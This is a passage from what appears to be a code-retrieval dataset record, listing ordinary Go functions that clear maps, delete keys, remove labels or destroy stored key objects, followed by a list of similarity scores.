{\n\t\telem.WipeOutEncryptionKey()\n\t}\n}", "func DeleteAllApplicationKeys(db gorp.SqlExecutor, applicationID int64) error {\n\tquery := `DELETE FROM application_key WHERE application_id = $1`\n\tif _, err := db.Exec(query, applicationID); err != nil {\n\t\treturn sdk.WrapError(err, \"cannot delete application key\")\n\t}\n\treturn nil\n}", "func (ks Keys) Unique() (uks Keys) {\n\tseen := make(map[interface{}]struct{}, len(ks))\n\tuks = make(Keys, 0, len(uks))\n\tfor _, k := range ks {\n\t\tif _, ok := seen[k]; !ok && k != nil {\n\t\t\tseen[k] = struct{}{}\n\t\t\tuks = append(uks, k)\n\t\t}\n\t}\n\treturn uks\n}", "func (m *FieldMap) Clear() {\n\tfor k := range m.tagLookup {\n\t\tdelete(m.tagLookup, k)\n\t}\n}", "func (sess Session) Clear() {\n\tfor k, _ := range sess {\n\t\tdelete(sess, k)\n\t}\n}", "func (su *StateUpdate) ClearVehicleRegistrations() *StateUpdate {\n\tsu.mutation.ClearVehicleRegistrations()\n\treturn su\n}", "func (index *DbIterator) clearKV() {\n\tindex.key = nil\n\tindex.value = nil\n}", "func (c Container) Reset() {\n\tfor k := range c {\n\t\tdelete(c, k)\n\t}\n}", "func (c *evictionClient) ClearAllEvictLabels() error {\n\toptions := metav1.ListOptions{\n\t\tFieldSelector: fmt.Sprintf(\"spec.nodeName=%s\", c.nodeName),\n\t}\n\tpodLists, err := c.client.CoreV1().Pods(metav1.NamespaceAll).List(options)\n\tif err != nil {\n\t\tlog.Errorf(\"List pods on %s error\", c.nodeName)\n\t\treturn err\n\t}\n\n\tfor _, pod := range podLists.Items {\n\t\tfor k := range pod.Labels {\n\t\t\tpodInfo := types.PodInfo{\n\t\t\t\tName: pod.Name,\n\t\t\t\tNamespace: pod.Namespace,\n\t\t\t}\n\t\t\tif k == types.EvictCandidate {\n\t\t\t\tc.LabelPod(&podInfo, k, \"Delete\")\n\t\t\t}\n\t\t\tif k == types.NeedEvict {\n\t\t\t\tc.LabelPod(&podInfo, k, \"Delete\")\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (e *etcdCacheEntry) RemoveAllObservers() {\n e.Lock()\n defer e.Unlock()\n e.observers = make([]etcdObserver, 0)\n}", "func (g *Generator) ClearConfigLabels() {\n\tg.image.Config.Labels = map[string]string{}\n}", "func (m *Map) Remove(key string) {\n\tif l, ok := m.keys[key]; ok {\n\t\tfor _, n := range l {\n\t\t\tm.nodes.Delete(n)\n\t\t}\n\t\tdelete(m.keys, key)\n\t}\n}", "func (b *baseKVStoreBatch) Clear() {\n\tb.mutex.Lock()\n\tdefer b.mutex.Unlock()\n\tb.writeQueue = nil\n\n\tb.fillLock.Lock()\n\tdefer b.fillLock.Unlock()\n\tfor k := range b.fill {\n\t\tdelete(b.fill, k)\n\t}\n}", "func (b *BitSet) prune() {\n\tchg := true\n\n\tfor chg {\n\t\tchg = false\n\t\tkeyToDelete := uint64(0)\n\t\tfoundToDelete := false\n\t\tfor k, v := range b.set {\n\t\t\tif v == 0 {\n\t\t\t\tfoundToDelete = true\n\t\t\t\tkeyToDelete = k\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif foundToDelete {\n\t\t\tdelete((*b).set, keyToDelete)\n\t\t\tchg = true\n\t\t}\n\t}\n}", "func (m Map) FilterKeys(keys ...string) Map {\n\tn := Map{}\n\tfor _, key := range keys {\n\t\tn[key] = m.Get(key, nil)\n\t}\n\treturn n\n}", "func OmitByKeys[K comparable, V any](in map[K]V, keys []K) map[K]V {\n\tr := map[K]V{}\n\tfor k, v := range in {\n\t\tif !Contains(keys, k) {\n\t\t\tr[k] = v\n\t\t}\n\t}\n\treturn r\n}", "func (tp *Tapestry) RemoveKeysAtNode(t *testing.T, node *Node) {\n\tfor key := range node.blobstore.blobs {\n\n\t\t// delete from Blobs\n\t\tdelete(tp.Blobs, key)\n\n\t\t// delete from Keys\n\t\ttp.RemoveKey(t, key)\n\t}\n}", "func (m *Manager) RemoveAll() {\n\tm.removeAll()\n}", "func (m *Manager) RemoveAll() {\n\tm.removeAll()\n}", "func Del(key string) {\n\tdelete(cacher, key)\n}", "func (lb *smoothWeightedRR) RemoveAll() {\n\tlb.items = lb.items[:0]\n\tlb.itemMap = make(map[interface{}]*weightedItem)\n}", "func (o APIKeySlice) DeleteAllG() error {\n\tif o == nil {\n\t\treturn errors.New(\"models: no APIKey slice provided for delete all\")\n\t}\n\treturn o.DeleteAll(boil.GetDB())\n}", "func (d *MetadataAsDictionary) Clear() {\n\tif d.metadata == nil {\n\t\td.Init()\n\t}\n\td.dirty = true\n\n\td.metadata = map[string]interface{}{} // TODO: can it be nil?\n}", "func (m ConcurrentMap[T]) Clear() {\n\tfor _, shard := range m.shards {\n\t\tshard.Lock()\n\t\tshard.items = make(map[string]T)\n\t\tshard.Unlock()\n\t}\n}", "func (v values) Remove(keys ...string) {\n\tfor _, key := range keys {\n\t\tdelete(v, key)\n\t}\n}", "func DeleteUnhealthyConditionsConfigMap() error {\n\tc, err := LoadClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tkey := types.NamespacedName{\n\t\tName: mrv1.ConfigMapNodeUnhealthyConditions,\n\t\tNamespace: NamespaceOpenShiftMachineAPI,\n\t}\n\tcm := &corev1.ConfigMap{}\n\tif err := c.Get(context.TODO(), key, cm); err != nil {\n\t\treturn err\n\t}\n\n\treturn c.Delete(context.TODO(), cm)\n}", "func (p *Parser) Del(key string) {\n\tm, err := p.Map()\n\tif err != nil {\n\t\treturn\n\t}\n\tdelete(m, key)\n}", "func (c *ConcurrentPreviousSet) Clear() {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\tfor uid := range c.values {\n\t\tdelete(c.values, uid)\n\t}\n\n\tc.values = make(map[types.UID]types.Message)\n}", "func (m *MACCommandSet) Clear() {\n\tm.commands = make(map[CID]MACCommand)\n}", "func Delete(key string){\n n := keyValue[key]\n n.val = \"\"\n n.hash = \"\"\n keyValue[key] = n\n}", "func (l *Logger) Without(keys ...string) *Logger {\n\tfor _, k := range keys {\n\t\tfor i, v := range l.context {\n\t\t\tif v.Key == k {\n\t\t\t\tcopy(l.context[i:], l.context[i+1:])\n\t\t\t\tl.context[len(l.context)-1] = nil\n\t\t\t\tl.context = l.context[:len(l.context)-1]\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn l\n}", "func (am *ClientSetAtomicMap) Delete(key string) {\n\tam.mu.Lock()\n\tdefer am.mu.Unlock()\n\n\tm1 := am.val.Load().(_ClientSetMap)\n\t_, ok := m1[key]\n\tif !ok {\n\t\treturn\n\t}\n\n\tm2 := make(_ClientSetMap, len(m1)-1)\n\tfor k, v := range m1 {\n\t\tif k != key {\n\t\t\tm2[k] = v\n\t\t}\n\t}\n\n\tam.val.Store(m2)\n\treturn\n}", "func AllKeys() Subspace {\n\treturn subspace{}\n}", "func lunaRemoveKey(p *pkcs11.Ctx, session pkcs11.SessionHandle, keyID []byte) error {\n\n\ttemplate := []*pkcs11.Attribute{\n\t\tpkcs11.NewAttribute(pkcs11.CKA_TOKEN, true),\n\t\tpkcs11.NewAttribute(pkcs11.CKA_ID, keyID),\n\t}\n\n\tobjects, err := findObjects(p, session, template)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Find objects failed: %v\", err)\n\t}\n\n\tfor _, object := range objects {\n\t\terr = p.DestroyObject(session, object)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to remove object %d: %v\", object, err)\n\t\t}\n\t}\n\treturn nil\n}" ]
[ "0.5937962", "0.58603454", "0.5669769", "0.5565801", "0.54997426", "0.5490069", "0.537927", "0.5348313", "0.5343223", "0.5293454", "0.52923995", "0.5213527", "0.5175391", "0.51735145", "0.5132763", "0.51187307", "0.51140016", "0.51031417", "0.50361484", "0.5017501", "0.501246", "0.50074124", "0.49960214", "0.49636853", "0.48951834", "0.48940986", "0.4892321", "0.48622328", "0.48497668", "0.48360458", "0.48332465", "0.48252025", "0.48215094", "0.48195755", "0.480539", "0.48023728", "0.4801973", "0.4794389", "0.47873202", "0.4778552", "0.47494987", "0.47303432", "0.47302878", "0.47146192", "0.47143543", "0.47113842", "0.46894872", "0.46669996", "0.46448684", "0.4640181", "0.4637498", "0.463375", "0.46260118", "0.46239406", "0.46141192", "0.4611405", "0.46089038", "0.46021867", "0.45925325", "0.45609757", "0.4553474", "0.455064", "0.4550624", "0.45465258", "0.45441106", "0.4537613", "0.45366752", "0.45342696", "0.45324147", "0.45185137", "0.4509157", "0.45087397", "0.45082417", "0.4505846", "0.45053175", "0.44981027", "0.44867364", "0.44862705", "0.4482654", "0.4477862", "0.4470551", "0.44659021", "0.446253", "0.44552147", "0.44552147", "0.4453827", "0.44522905", "0.44507203", "0.44487858", "0.44448182", "0.44435614", "0.44410238", "0.44402277", "0.44380435", "0.44316182", "0.44246188", "0.44231296", "0.44164678", "0.44150344", "0.4414017" ]
0.69279414
0
get() retrieves multiple child entries from the metakv and weaves the results back into a composite nodeDefs. get() must be invoked with c.m.Lock()'ed.
func (a *cfgMetaKvNodeDefsSplitHandler) get( c *CfgMetaKv, key string, cas uint64) ([]byte, uint64, error) { m, err := metakv.ListAllChildren(c.keyToPath(key) + "/") if err != nil { return nil, 0, err } rv := &NodeDefs{NodeDefs: make(map[string]*NodeDef)} uuids := []string{} for _, v := range m { var childNodeDefs NodeDefs err = json.Unmarshal(v.Value, &childNodeDefs) if err != nil { return nil, 0, err } for k1, v1 := range childNodeDefs.NodeDefs { rv.NodeDefs[k1] = v1 } // use the lowest version among nodeDefs if rv.ImplVersion == "" || !VersionGTE(childNodeDefs.ImplVersion, rv.ImplVersion) { rv.ImplVersion = childNodeDefs.ImplVersion } uuids = append(uuids, childNodeDefs.UUID) } rv.UUID = checkSumUUIDs(uuids) if rv.ImplVersion == "" { version := VERSION v, _, err := c.getRawLOCKED(VERSION_KEY, 0) if err == nil { version = string(v) } rv.ImplVersion = version } data, err := json.Marshal(rv) if err != nil { return nil, 0, err } casResult := c.lastSplitCAS + 1 c.lastSplitCAS = casResult c.splitEntries[key] = CfgMetaKvEntry{ cas: casResult, data: data, } return data, casResult, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (sn *streeNode) get(st, et time.Time, cb func(sn *streeNode, d int, t time.Time, r *big.Rat)) {\n\trel := sn.relationship(st, et)\n\tif sn.present && (rel == contain || rel == match) {\n\t\tcb(sn, sn.depth, sn.time, big.NewRat(1, 1))\n\t} else if rel != outside { // inside or overlap\n\t\tif sn.present && len(sn.children) == 0 {\n\t\t\t// TODO: I did not test this logic as extensively as I would love to.\n\t\t\t// See https://github.com/topport/magic/issues/28 for more context and ideas on what to do\n\t\t\tcb(sn, sn.depth, sn.time, sn.overlapRead(st, et))\n\t\t} else {\n\t\t\t// if current node doesn't have a tree present or has children, defer to children\n\t\t\tfor _, v := range sn.children {\n\t\t\t\tif v != nil {\n\t\t\t\t\tv.get(st, et, cb)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "func (m *Set) GetChildren()([]Termable) {\n val, err := m.GetBackingStore().Get(\"children\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.([]Termable)\n }\n return nil\n}", "func (n *Node) Retrieve(b *Box, values *[]Boxer) {\n\t// If this node does not intersect with the given box return.\n\tif !n.boundingBox.Intersects(b) {\n\t\treturn\n\t}\n\n\t// Find all values in this node that intersect with the given box.\n\tfor i, _ := range n.values {\n\t\tif b.Intersects(n.values[i].Box()) {\n\t\t\t*values = append(*values, n.values[i])\n\t\t}\n\t}\n\n\t// Recurse into each child node.\n\tif n.children[0] != nil {\n\t\tfor i, _ := range n.children {\n\t\t\tn.children[i].Retrieve(b, values)\n\t\t}\n\t}\n}", "func (c SplitSize) Get(path string, filler Filler) (o Object, err error) {\n\tfor _, child := range c {\n\t\to, err = child.Cache.Get(path, nil)\n\t\tif err == nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\tif err != nil && filler != nil {\n\t\to, err = filler.Fill(c, path)\n\t}\n\n\treturn\n}", "func (m *ItemTermStoresItemSetsItemChildrenItemChildrenTermItemRequestBuilder) Get(ctx context.Context, requestConfiguration *ItemTermStoresItemSetsItemChildrenItemChildrenTermItemRequestBuilderGetRequestConfiguration)(ia3c27b33aa3d3ed80f9de797c48fbb8ed73f13887e301daf51f08450e9a634a3.Termable, error) {\n requestInfo, err := m.ToGetRequestInformation(ctx, requestConfiguration);\n if err != nil {\n return nil, err\n }\n errorMapping := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.ErrorMappings {\n \"4XX\": ia572726a95efa92ddd544552cd950653dc691023836923576b2f4bf716cf204a.CreateODataErrorFromDiscriminatorValue,\n \"5XX\": ia572726a95efa92ddd544552cd950653dc691023836923576b2f4bf716cf204a.CreateODataErrorFromDiscriminatorValue,\n }\n res, err := m.requestAdapter.Send(ctx, requestInfo, ia3c27b33aa3d3ed80f9de797c48fbb8ed73f13887e301daf51f08450e9a634a3.CreateTermFromDiscriminatorValue, errorMapping)\n if err != nil {\n return nil, err\n }\n if res == nil {\n return nil, nil\n }\n return res.(ia3c27b33aa3d3ed80f9de797c48fbb8ed73f13887e301daf51f08450e9a634a3.Termable), nil\n}", "func (d *Discovery) Get() []string {\n d.Lock()\n defer d.Unlock()\n\n items := make([]string, len(d.items))\n for i, item := range d.items {\n items[i] = item\n }\n\n return items\n}", "func (s *Trie) get(root, key []byte, batch [][]byte, iBatch, height int) ([]byte, error) {\n\tif len(root) == 0 {\n\t\t// the trie does not contain the key\n\t\treturn nil, nil\n\t}\n\t// Fetch the children of the node\n\tbatch, iBatch, lnode, rnode, isShortcut, err := s.loadChildren(root, height, iBatch, batch)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif isShortcut {\n\t\tif bytes.Equal(lnode[:HashLength], key) {\n\t\t\treturn rnode[:HashLength], nil\n\t\t}\n\t\t// also returns nil if height 0 is not a shortcut\n\t\treturn nil, nil\n\t}\n\tif bitIsSet(key, s.TrieHeight-height) {\n\t\treturn s.get(rnode, key, batch, 2*iBatch+2, height-1)\n\t}\n\treturn s.get(lnode, key, batch, 2*iBatch+1, height-1)\n}", "func (db *memorydb) MultiGet(key ...[]byte) ([][]byte, error) {\n\tdb.sm.RLock()\n\tdefer db.sm.RUnlock()\n\n\tvalues := [][]byte{}\n\tfor _, k := range key {\n\t\tif value, ok := db.db[string(k)]; ok {\n\t\t\tvalues = append(values, value)\n\t\t} else {\n\t\t\treturn nil, nil\n\t\t}\n\t}\n\treturn values, nil\n}", "func (n *node) get(key Item, ctx interface{}) Item {\n\ti, found := n.items.find(key, ctx)\n\tif found {\n\t\treturn n.items[i]\n\t} else if len(n.children) > 0 {\n\t\treturn n.children[i].get(key, ctx)\n\t}\n\treturn nil\n}", "func (r *Reader) MultiGet(keys [][]byte) ([][]byte, error) {\n\treturn store.MultiGet(r, keys)\n}", "func getHelper(\n\tnode patricia, key []byte, prefix int, dao db.KVStore, bucket string, cb db.CachedBatch) ([]byte, error) {\n\t// parse the key and get child node\n\tchild, match, err := node.child(key[prefix:], dao, bucket, cb)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(ErrNotExist, \"key = %x\", key)\n\t}\n\tif child == nil {\n\t\t// this is the last node on path, return its stored value\n\t\treturn node.blob(key)\n\t}\n\t// continue get() on child node\n\treturn getHelper(child, key, prefix+match, dao, bucket, cb)\n}", "func (n *NodeManager) Gets(target string, hours int64) ([]OsqueryNode, error) {\n\tvar nodes []OsqueryNode\n\tswitch target {\n\tcase \"all\":\n\t\tif err := n.DB.Find(&nodes).Error; err != nil {\n\t\t\treturn nodes, err\n\t\t}\n\tcase \"active\":\n\t\t//if err := n.DB.Where(\"updated_at > ?\", time.Now().AddDate(0, 0, -3)).Find(&nodes).Error; err != nil {\n\t\tif err := n.DB.Where(\"updated_at > ?\", time.Now().Add(time.Duration(hours)*time.Hour)).Find(&nodes).Error; err != nil {\n\t\t\treturn nodes, err\n\t\t}\n\tcase \"inactive\":\n\t\t//if err := n.DB.Where(\"updated_at < ?\", time.Now().AddDate(0, 0, -3)).Find(&nodes).Error; err != nil {\n\t\tif err := n.DB.Where(\"updated_at < ?\", time.Now().Add(time.Duration(hours)*time.Hour)).Find(&nodes).Error; err != nil {\n\t\t\treturn nodes, err\n\t\t}\n\t}\n\treturn nodes, nil\n}", "func (nn *NamedNodes) Get(c cid.Cid) *NamedNode {\n\tnn.RLock()\n\tdefer nn.RUnlock()\n\treturn nn.m[c]\n}", "func (this *node) get(split string) *node {\n\tvar wildcard, target *node = nil, nil\n\n\tfor _, child := range this.children {\n\t\t// Check for wildcard match\n\t\tif child.split == \"*\" {\n\t\t\twildcard = child\n\n\t\t\t// Break if both have been found\n\t\t\tif target != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// Check for direct match\n\t\tif child.split == split {\n\t\t\ttarget = child\n\n\t\t\t// Break if both have been found\n\t\t\tif wildcard != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\t// Return direct match over wildcard\n\tif target != nil {\n\t\treturn target\n\t}\n\n\treturn wildcard\n}", "func GetEntries(res chan sharedSchema.Entries, query string) {\n\tvar bks sharedSchema.Entries\n\tit := utils.BqQuery(query)\n\tfor {\n\t\t// var bk sharedSchema.Entry\n\t\t// err := it.Next(&bk)\n\t\tvar m map[string]bigquery.Value\n\t\terr := it.Next(&m)\n\t\tif err == iterator.Done {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Error in parsing: Fetched Data: \", err)\n\t\t}\n\t\tbks = append(bks, sharedSchema.GetEntry(m))\n\t}\n\tres <- bks\n}", "func getPatricia(key []byte, dao db.KVStore, bucket string, cb db.CachedBatch) (patricia, error) {\n\t// search in cache first\n\tnode, err := cb.Get(bucket, key)\n\tif err != nil {\n\t\tnode, err = dao.Get(bucket, key)\n\t}\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to get key %x\", key[:8])\n\t}\n\tpbNode := iproto.NodePb{}\n\tif err := proto.Unmarshal(node, &pbNode); err != nil {\n\t\treturn nil, err\n\t}\n\tif pbBranch := pbNode.GetBranch(); pbBranch != nil {\n\t\tb := branch{}\n\t\tb.fromProto(pbBranch)\n\t\treturn &b, nil\n\t}\n\tif pbLeaf := pbNode.GetLeaf(); pbLeaf != nil {\n\t\tl := leaf{}\n\t\tl.fromProto(pbLeaf)\n\t\treturn &l, nil\n\t}\n\treturn nil, errors.Wrap(ErrInvalidPatricia, \"invalid node type\")\n}", "func (hm HashMap) MultiGet(ctx context.Context, fields ...string) ([]Value, error) {\n\treq := newRequestSize(2+len(fields), \"\\r\\n$5\\r\\nHMGET\\r\\n$\")\n\treq.addStringAndStrings(hm.name, fields)\n\treturn hm.c.cmdStrings(ctx, req)\n}", "func (d *device) getChildren() []Device {\n\tchildren := make([]Device, 0, len(d.children))\n\n\tfor _, k := range d.childKeys {\n\t\tchildren = append(children, d.children[k])\n\t}\n\treturn children\n}", "func (db *InMemDatabase) GetChildren(uid UID, typename string) (UIDList, error) {\n\tnilList := []UID{}\n\tdata, ok := db.objectData[uid]\n\tif !ok {\n\t\treturn nilList, fmt.Errorf(\"Object %s: not in database\", uid.Interface().String())\n\t}\n\trefList, ok := data.children[typename]\n\tif !ok {\n\t\treturn nilList, nil\n\t}\n\treturn refList, nil\n}", "func (c nullCache) GetMulti(ks ...string) ([]Item, error) {\n\treturn []Item{}, nil\n}", "func (c *ComponentCollection) child(key string) Locatable {\n\tr, err := c.Get(common.IDString(key))\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"No child with key %s for %T\", key, c))\n\t}\n\treturn r\n}", "func (f *uploadBytesFuture) Get() (blob.Ref, error) {\n\tfor _, f := range f.children {\n\t\tif _, err := f.Get(); err != nil {\n\t\t\treturn blob.Ref{}, err\n\t\t}\n\t}\n\treturn f.br, <-f.errc\n}", "func (c *Cache) GetMulti(ctx context.Context, keys []string) ([][]byte, error) {\n\tif bpc := bypassFromContext(ctx); bpc == BypassReading || bpc == BypassReadWriting {\n\t\treturn nil, nil\n\t}\n\n\tbb, err := c.storage.MGet(ctx, keys...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn bb, nil\n}", "func (u *unfinishedNodes) get() *builderNodeUnfinished {\n\tif len(u.stack) < len(u.cache) {\n\t\treturn &u.cache[len(u.stack)]\n\t}\n\t// full now allocate a new one\n\treturn &builderNodeUnfinished{}\n}", "func (n *MapNode) ReadTargets(c ReadContext, key reflect.Value) (reflect.Value, error) {\n\tval := reflect.MakeMap(n.Type)\n\tlist := c.List()\n\tfor _, keyStr := range list {\n\t\telemKey := reflect.ValueOf(keyStr)\n\t\telem := *n.ElemNode\n\t\telemContext := c.Push(keyStr)\n\t\telemVal, err := elem.Read(elemContext, elemKey)\n\t\tif err != nil {\n\t\t\treturn val, errors.Wrapf(err, \"reading child %s\", keyStr)\n\t\t}\n\t\tval.SetMapIndex(elemKey, elemVal)\n\t}\n\treturn val, nil\n}", "func (n *metadataNode) child(name string) *metadataNode {\n\tif c, ok := n.children[name]; ok {\n\t\treturn c\n\t}\n\tn.assertNonFrozen()\n\tif n.children == nil {\n\t\tn.children = make(map[string]*metadataNode, 1)\n\t}\n\tc := &metadataNode{\n\t\tparent: n,\n\t\tacls: make([]*packageACL, len(legacyRoles)),\n\t}\n\tif n.prefix == \"\" {\n\t\tc.prefix = name\n\t} else {\n\t\tc.prefix = n.prefix + \"/\" + name\n\t}\n\tn.children[name] = c\n\treturn c\n}", "func (c *ImageRegistryCollection) child(key string) Locatable {\n\tr, err := c.Get(common.IDString(key))\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"No child with key %s for %T\", key, c))\n\t}\n\treturn r\n}", "func (t *DiskTree) fetchChild(n *Node, c string) *Node {\n\tdn := t.dnodeFromNode(n)\n\tv, ok := dn.Children[c]\n\tif ok {\n\t\tdv := t.dnodeFromHash(v)\n\t\treturn dv.toMem()\n\t}\n\treturn nil\n}", "func get(key string, ring *[100]*NodeMembership) (int, map[string]string) {\n hashKey := hash(key)\n numReplicas := 3\n\n var request Request\n request.requestType = \"get\"\n request.key = hashKey\n request.returnChan = make(chan map[string]string, numReplicas)\n\n blacklist := make(map[int]bool)\n pos := hashKey\n var value map[string]string\n for {\n nodeMembership := ring[pos]\n // Replicas on distinct nodes\n if _, contains := blacklist[pos]; !contains && nodeMembership != nil {\n nodeMembership.requestReceiver <- request\n numReplicas = numReplicas - 1\n for k, _ := range nodeMembership.virtualAddresses {\n blacklist[k] = true\n }\n value = <-request.returnChan\n fmt.Println(\"Got \"+key+\" from \"+strconv.Itoa(pos)+\": \", value)\n }\n pos = (pos + 1) % len(ring)\n\n if numReplicas == 0 {\n break\n }\n }\n return pos, value\n}", "func child(n *node, c int) *node {\n\treturn n.C[c]\n}", "func (of *openFiles) Get(fh uint64) (node mountlib.Noder, errc int) {\n\tof.mu.Lock()\n\t_, node, errc = of.get(fh)\n\tof.mu.Unlock()\n\treturn\n}", "func (d *Document) get(id uint) *node {\n\tif d != nil && id < uint(len(d.nodes)) {\n\t\treturn &d.nodes[id]\n\t}\n\treturn nil\n}", "func (a *cfgMetaKvNodeDefsSplitHandler) set(\n\tc *CfgMetaKv, key string, val []byte, cas uint64) (uint64, error) {\n\tpath := c.keyToPath(key)\n\n\tcurEntry := c.splitEntries[key]\n\n\tif cas != math.MaxUint64 && cas != 0 && cas != curEntry.cas {\n\t\tlog.Warnf(\"cfg_metakv: Set split, key: %v, cas mismatch: %x != %x\",\n\t\t\tkey, cas, curEntry.cas)\n\n\t\treturn 0, &CfgCASError{}\n\t}\n\n\tvar curNodeDefs NodeDefs\n\n\tif curEntry.data != nil && len(curEntry.data) > 0 {\n\t\terr := json.Unmarshal(curEntry.data, &curNodeDefs)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\tvar nd NodeDefs\n\n\terr := json.Unmarshal(val, &nd)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\t// Analyze which children were added, removed, updated.\n\t//\n\tadded := map[string]bool{}\n\tremoved := map[string]bool{}\n\tupdated := map[string]bool{}\n\n\tfor k, v := range nd.NodeDefs {\n\t\tif curNodeDefs.NodeDefs == nil ||\n\t\t\tcurNodeDefs.NodeDefs[k] == nil {\n\t\t\tadded[k] = true\n\t\t} else {\n\t\t\tif !reflect.DeepEqual(curNodeDefs.NodeDefs[k], v) {\n\t\t\t\tupdated[k] = true\n\t\t\t}\n\t\t}\n\t}\n\n\tif curNodeDefs.NodeDefs != nil {\n\t\tfor k := range curNodeDefs.NodeDefs {\n\t\t\tif nd.NodeDefs[k] == nil {\n\t\t\t\tremoved[k] = true\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Printf(\"cfg_metakv: Set split, key: %v,\"+\n\t\t\" added: %v, removed: %v, updated: %v\",\n\t\tkey, added, removed, updated)\n\nLOOP:\n\tfor k, v := range nd.NodeDefs {\n\t\tif cas != math.MaxUint64 && c.nodeUUID != \"\" && c.nodeUUID != v.UUID {\n\t\t\t// If we have a nodeUUID, only add/update our\n\t\t\t// nodeDef, where other nodes will each add/update\n\t\t\t// only their own nodeDef's.\n\t\t\tlog.Printf(\"cfg_metakv: Set split, key: %v,\"+\n\t\t\t\t\" skipping other node UUID: %v, self nodeUUID: %s\",\n\t\t\t\tkey, v.UUID, c.nodeUUID)\n\n\t\t\tcontinue LOOP\n\t\t}\n\n\t\tchildNodeDefs := NodeDefs{\n\t\t\tUUID: nd.UUID,\n\t\t\tNodeDefs: map[string]*NodeDef{},\n\t\t\tImplVersion: nd.ImplVersion,\n\t\t}\n\t\tchildNodeDefs.NodeDefs[k] = v\n\n\t\tval, err = json.Marshal(childNodeDefs)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\tchildPath := path + \"/\" + k\n\n\t\tlog.Printf(\"cfg_metakv: Set split, key: %v, childPath: %v\",\n\t\t\tkey, childPath)\n\n\t\terr = metakv.Set(childPath, val, nil)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tif cas != math.MaxUint64 {\n\t\t\tbreak LOOP\n\t\t}\n\t}\n\n\t// Remove composite children entries from metakv only if\n\t// caller was attempting removals only. This should work as\n\t// the caller usually has read-compute-write logic that only\n\t// removes node defs and does not add/update node defs in the\n\t// same read-compute-write code path.\n\t//\n\tif len(added) <= 0 && len(updated) <= 0 && len(removed) > 0 {\n\t\tfor nodeDefUUID := range removed {\n\t\t\tchildPath := path + \"/\" + nodeDefUUID\n\n\t\t\tlog.Printf(\"cfg_metakv: Set delete, childPath: %v\", childPath)\n\n\t\t\terr = metakv.Delete(childPath, nil)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t}\n\t}\n\n\tcasResult := c.lastSplitCAS + 1\n\tc.lastSplitCAS = casResult\n\treturn casResult, err\n}", "func getAll(ctx context.Context, host, repo string) ([]*mapPart, error) {\n\thostRepo := host + \"/\" + repo\n\tparentKey := datastore.MakeKey(ctx, parentKind, hostRepo)\n\tq := datastore.NewQuery(mapKind).Ancestor(parentKey)\n\tmps := []*mapPart{}\n\tif err := datastore.GetAll(ctx, q, &mps); err != nil {\n\t\treturn nil, errors.Annotate(err, hostRepo).Tag(transient.Tag).Err()\n\t}\n\treturn mps, nil\n}", "func (s *levelsController) get(key []byte, maxVs *y.ValueStruct) (y.ValueStruct, error) {\n\t// It's important that we iterate the levels from 0 on upward. The reason is, if we iterated\n\t// in opposite order, or in parallel (naively calling all the h.RLock() in some order) we could\n\t// read level L's tables post-compaction and level L+1's tables pre-compaction. (If we do\n\t// parallelize this, we will need to call the h.RLock() function by increasing order of level\n\t// number.)\n\tversion := y.ParseTs(key)\n\tfor _, h := range s.levels {\n\t\tvs, err := h.get(key) // Calls h.RLock() and h.RUnlock().\n\t\tif err != nil {\n\t\t\treturn y.ValueStruct{}, errors.Wrapf(err, \"get key: %q\", key)\n\t\t}\n\t\tif vs.Value == nil && vs.Meta == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tif maxVs == nil || vs.Version == version {\n\t\t\treturn vs, nil\n\t\t}\n\t\tif maxVs.Version < vs.Version {\n\t\t\t*maxVs = vs\n\t\t}\n\t}\n\tif maxVs != nil {\n\t\treturn *maxVs, nil\n\t}\n\treturn y.ValueStruct{}, nil\n}", "func (this *MultiMap) Get(key interface{}) interface{} {\n\tnode := this.tree.FindNode(key)\n\tif node != nil {\n\t\treturn node.Value()\n\t}\n\treturn nil\n}", "func (n *TreeNode) Get(key string) (value Entry, ok bool) {\n\tn.mutex.RLock()\n\tvalue, ok = n.files[key]\n\tn.mutex.RUnlock()\n\treturn\n}", "func (bd *BlockDAG) getFutureSet(fs *HashSet, b IBlock) {\n\tchildren := b.GetChildren()\n\tif children == nil || children.IsEmpty() {\n\t\treturn\n\t}\n\tfor k := range children.GetMap() {\n\t\tif !fs.Has(&k) {\n\t\t\tfs.Add(&k)\n\t\t\tbd.getFutureSet(fs, bd.getBlock(&k))\n\t\t}\n\t}\n}", "func (q *QuadTree) Retrieve(rectangle *Rectangle, result *[]*Rectangle) {\n\t*result = append(*result, q.objects...)\n\tfor _, node := range q.nodes {\n\t\tif node.bounds.Intersects(rectangle) {\n\t\t\tnode.Retrieve(rectangle, result)\n\t\t}\n\t}\n}", "func (n *items) get(i uint32) (*list, error) {\n\tif i > n.len {\n\t\treturn nil, ErrIndexRange\n\t}\n\treturn n.data[i], nil\n}", "func (pc *pathContainer) get(subpath string) *pathNode 